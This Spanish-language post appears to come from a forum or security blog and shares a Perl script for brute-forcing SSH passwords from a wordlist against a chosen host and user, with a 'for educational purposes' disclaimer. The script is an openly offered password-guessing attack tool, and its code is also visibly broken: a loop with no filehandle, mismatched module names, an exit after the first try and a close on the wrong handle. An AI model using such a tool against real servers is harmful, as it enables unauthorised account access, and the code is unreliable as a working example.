Bruter de Conexiones SSH

Aquí les traigo un pequeño brute forcer de conexiones SSH diseñado por mi ustedes lo pueden usar para pen-testear loa limites de conexiones que le dan a su servidor o quien sabe el uso que ustedes le den al mismo solo les digo que no me hago responsable por ningun tipo de mal uso del mismo.

Código:

#!/usr/bin/perl
#www.seguridadblanca.blogspot.com
#by Dedalo
print "Pequeno Bruter para conexiones SSH\n";
print "Espero les sirva con esto podrian testear conexiones.\n";
print "no lo olviden todo es con fines educativos\n\n";
sleep 1;

use strict();
use Net::SSH;

$host=$ARGV[0];
$usuario=$ARGV[1];
$passdir=$ARGV[2] || die "\nPerl Modo de usar: Bruter.pl host usuario lista\n";
print "\n\n";
$nro = 1;
open (D,"<$passdir") or die "lista de pass o diccionario no encontrado\n"; while()
{
$inten = $_;
chomp $inten;
$con = my $ssh = Net::SSH::Perl->new($host,debug=>1,use_pty=>1);
$ssh->login($usuario, $inten);
print "\n\n##########################\n";
print "Se esta obteniendo la Contraseña...";
print "\n\n\n";
print $nro++ . ": Fallo - $inten\n";
print "'$inten - $nro intentos";
last;
$con->close;
}
close(IN);


siempre usenlo para el bien mas no para el mal juiciosos con lo que hacen... no se dejen llevar...

Saludos

Dr.White